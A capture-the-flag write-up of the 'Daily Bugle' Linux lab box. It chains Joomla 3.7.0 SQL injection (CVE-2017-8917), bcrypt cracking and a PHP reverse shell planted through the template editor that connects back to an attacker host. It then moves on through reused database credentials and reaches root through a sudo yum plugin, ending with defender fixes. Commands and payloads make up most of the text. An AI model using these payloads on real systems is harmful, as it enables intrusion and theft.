Overview
Daily Bugle is a Spider-Man themed hard Linux box running Joomla 3.7.0 on CentOS 7.
The chain starts with unauthenticated SQL injection in the CMS, cracks a bcrypt hash,
abuses the Joomla template editor to land a reverse shell, pivots via credential reuse
in configuration.php, then escapes to root through a NOPASSWD sudo
entry on yum.
No kernel exploits. Every technique is from real-world assessments: CMS enumeration, error-based SQLi, bcrypt cracking, template editor abuse, credential reuse, and GTFObins.
nmap → 80/HTTP (Joomla 3.7.0), 22/SSH, 3306/MySQL (loopback only) ↓ CVE-2017-8917 — com_fields ordering SQLi (updatexml error-based) ↓ extract bcrypt hash from #__users → john rockyou.txt ↓ jonah:spiderman123 → Joomla /administrator/ login ↓ Extensions → Templates → Beez3 → index.php → PHP reverse shell ↓ www-data shell → /var/www/html/configuration.php ↓ DB password = Linux password: jjameson:nv5uz9r3ZEDzVjNu ↓ ssh jjameson → user.txt ↓ sudo -l → (root) NOPASSWD: /usr/bin/yum → GTFObins plugin → root ↓ root.txt
Port Scan & Service Discovery
$ nmap -sC -sV -T4 -p- --open <TARGET_IP>
| Port | Service | Version | Notes |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 7.4 | CentOS 7 — fallback lateral move |
| 80/tcp | HTTP | Apache 2.4.6 | Joomla CMS — primary attack surface |
| 3306/tcp | MySQL | 5.5.68 | Bound to 127.0.0.1 only — not reachable externally |
Port 3306 loopback-only means no direct database attack from outside. Everything goes through the web application.
$ curl -s http://<TARGET>/administrator/manifests/files/joomla.xml | grep version <version>3.7.0</version>
CVE-2017-8917 — Joomla com_fields SQL Injection
Joomla 3.7.0 introduced a Custom Fields feature (com_fields).
The list[fullordering] parameter in the fields modal view is
concatenated directly into an SQL ORDER BY clause without sanitisation.
MySQL's updatexml() function includes the queried value inside its
error message — making this an error-based extraction vulnerability.
$ curl -s "http://<TARGET>/index.php?option=com_fields&view=fields&layout=modal\ &list[fullordering]=updatexml(1,concat(0x7e,(SELECT+user()),0x7e),1)" | grep "~" ~root@localhost~
The tilde-bracketed response confirms the injection fires. Now extract user credentials:
$ python3 joomblah.py http://<TARGET> [*] CVE-2017-8917 -- Joomla 3.7.0 SQLi [+] Extracting users from #__users ... [+] jonah jonah@tryhackme.com $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
$2y$10$ identifies bcrypt (Blowfish) at cost factor 10.
bcrypt is intentionally slow (~100ms/attempt on CPU) — a common password in
rockyou.txt still falls in minutes. A dedicated GPU cuts that to seconds.
$ echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash.txt $ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt $ john --show hash.txt jonah:spiderman123 1 password hash cracked
Joomla Admin → Template Editor → Reverse Shell
Login at http://<TARGET>/administrator/ with
jonah:spiderman123.
Joomla's administrator panel allows editing PHP template files directly —
an intended feature that becomes a code execution primitive when an attacker
holds admin credentials.
Navigate: Extensions → Templates → Templates → Beez3 Details and Files → index.php. Replace the file content with a PHP reverse shell and click Save.
<?php
$sock=fsockopen("<LHOST>",4444,$e,$em,30);
$proc=proc_open("/bin/bash -i",
[["pipe","r"],["pipe","w"],["pipe","w"]],$pipes);
stream_set_blocking($pipes[0],0);
while(!feof($sock)){
$in=fread($sock,4096); fwrite($pipes[0],$in);
fwrite($sock,fread($pipes[1],4096));
fwrite($sock,fread($pipes[2],4096));
}
fclose($sock);
$ nc -lvnp 4444 # listener $ curl http://<TARGET>/index.php # trigger www-data@dailybugle:/var/www/html$ # Stabilise $ python3 -c 'import pty; pty.spawn("/bin/bash")' $ ^Z stty raw -echo; fg export TERM=xterm
configuration.php Credential Reuse → jjameson
Joomla stores its database credentials in plaintext inside
/var/www/html/configuration.php.
In many real engagements the database password and a Linux user's password are identical.
$ grep -E "password|'user'" /var/www/html/configuration.php public $user = 'root'; public $password = 'nv5uz9r3ZEDzVjNu'; public $db = 'joomla';
$ ssh jjameson@<TARGET> Password: nv5uz9r3ZEDzVjNu jjameson@dailybugle:~$ cat user.txt
find / -name "configuration.php" -o -name "wp-config.php" -o -name "config.php" 2>/dev/null
is one of the first things to run after landing a web shell. CMS config files are
consistent treasure troves in real penetration tests.
sudo yum — GTFObins Plugin Injection → root
$ sudo -l (root) NOPASSWD: /usr/bin/yum
yum (the CentOS/RHEL package manager) loads Python plugins from an
arbitrary directory specified in a custom config file. The plugin's
init_hook() function executes before any package operation starts —
no internet connection or valid repository needed.
This is a first-class entry on GTFObins.
$ TF=$(mktemp -d) $ cat > "$TF/x" << 'EOF' [main] plugins=1 pluginpath=$TF pluginconfpath=$TF EOF $ cat > "$TF/y.conf" << 'EOF' [main] enabled=1 EOF $ cat > "$TF/y.py" << 'EOF' import os, yum from yum.plugins import TYPE_CORE, TYPE_INTERACTIVE requires_api_version='2.1' def init_hook(conduit): os.execl('/bin/sh', '/bin/sh') EOF $ sudo yum -c "$TF/x" --enableplugin=y sh-4.2# id uid=0(root) gid=0(root) groups=0(root) sh-4.2# cat /root/root.txt
Defender Notes & Real-World Applicability
| Finding | Severity | Fix |
|---|---|---|
| Joomla 3.7.0 — CVE-2017-8917 | CRITICAL | Update to Joomla 3.7.1+ (patch released May 2017) |
| bcrypt hash leaked via SQLi | HIGH | Parameterise all SQL; WAF rule blocking updatexml in GET params |
| Template editor file write | HIGH | Remove write access to template dirs in production; disable admin template editing |
| DB password reused as Linux login | HIGH | Credential uniqueness policy; separate service accounts for web apps |
| NOPASSWD sudo on yum | CRITICAL | Remove or tighten sudo entries; use sudoers Cmnd_Alias with arg restrictions |